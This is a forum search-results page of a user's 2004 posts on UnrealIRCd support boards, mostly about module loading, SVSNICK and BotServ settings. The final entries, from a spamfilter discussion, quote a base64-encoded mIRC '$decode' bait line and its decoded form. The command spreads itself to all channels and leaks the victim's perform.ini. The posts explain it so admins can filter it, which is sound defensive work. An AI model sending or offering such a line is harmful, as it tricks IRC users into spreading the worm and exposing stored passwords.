Search found 2013 matches
- Mon Jul 05, 2004 10:27 pm
- Forum: Unreal 3.2 Support
- Topic: [3.2.1] Problem with new win32 module feature?
- Replies: 15
- Views: 4637
- Mon Jul 05, 2004 10:16 pm
- Forum: Unreal 3.2 Support
- Topic: [3.2.1] Problem with new win32 module feature?
- Replies: 15
- Views: 4637
Try removing the quotes.
Code: Select all
loadmodule modules/commands.dll;
loadmodule modules/cloak.dll;
- Mon Jul 05, 2004 10:04 pm
- Forum: Unreal 3.2 Support
- Topic: away/return raws
- Replies: 9
- Views: 2667
- Sat Jul 03, 2004 1:06 am
- Forum: General chat
- Topic: the board this is hosted on.
- Replies: 29
- Views: 12637
- Sun Jun 27, 2004 8:16 pm
- Forum: Unreal 3.2 Support
- Topic: Services Error: UnrealIRCD on Win2k...
- Replies: 7
- Views: 2468
- Sun Jun 27, 2004 3:03 am
- Forum: Unreal 3.2 Modules
- Topic: adword module problem
- Replies: 2
- Views: 2006
- Thu Jun 24, 2004 6:28 pm
- Forum: Services
- Topic: Question about IRCServices
- Replies: 29
- Views: 9385
*yawn*
This has gone way off subject. If u people wanna continue to discuss SVSNICK, this topic isnt the place.
- Wed Jun 23, 2004 7:18 pm
- Forum: Unreal 3.2 Support
- Topic: Installed, running, no one can connect
- Replies: 2
- Views: 1462
- Wed Jun 23, 2004 7:12 pm
- Forum: Services
- Topic: Question about IRCServices
- Replies: 29
- Views: 9385
3. Using the RAW command of OperServ doesn't help either. The SVSNICK command in UnrealIRCd does nickname checking. SVSNICK does do nick changing. ***** Svsnick ***** - Changes the nickname of the user in question. Must be sent through an U:Lined server. - Syntax: SVSNICK <nickname> <new nickname> ...
- Wed Jun 23, 2004 7:05 pm
- Forum: Services
- Topic: bot not available for users
- Replies: 4
- Views: 2493
There is a simple way that Services Admins can do this. It is in the BOT SET options. -BotServ- Syntax: SET bot-nick PRIVATE {ON|OFF} -BotServ- This option prevents a bot from being assigned to a -BotServ- channel by users that aren't IRC operators. -BotServ- Limited to Services admins. This will ma...
- Wed Jun 23, 2004 12:58 am
- Forum: Unreal 3.2 Support
- Topic: connection issue
- Replies: 5
- Views: 1885
- Tue Jun 22, 2004 11:16 pm
- Forum: Unreal 3.2 Support
- Topic: connection issue
- Replies: 5
- Views: 1885
- Mon Jun 21, 2004 9:40 pm
- Forum: Unreal 3.2 Spamfilters
- Topic: mIRC $decode exploit
- Replies: 16
- Views: 14957
I think having .* at the beginnging is a good thing though, since it can have anything there to attract attention. This does not block all of $decode, because of the $( in front of it. The $( tells mIRC to re-evauluate the output of $decode. I have also noticed that the echo may have either of these...
- Mon Jun 21, 2004 5:58 am
- Forum: Unreal 3.2 Support
- Topic: All connections in use error
- Replies: 4
- Views: 2037
- Mon Jun 21, 2004 3:56 am
- Forum: Unreal 3.2 Spamfilters
- Topic: mIRC $decode exploit
- Replies: 16
- Views: 14957
mIRC $decode exploit
The newest form of exploit for mIRC uses $decode. This exploit is seen as lines that look like this: LOL! //echo -a $($decode(JGZpbmRmaWxlKC4sKiwxLHNjaWQgLWF0MSAuYW1zZyBMT0whICQhY2IoMSkgfCAucGxheSAj/SBwZXJmb3JtLmluaSk=,m),2) Which when echoed, does this: //echo -a $findfile(.,*,1,scid -at1 .amsg LOL...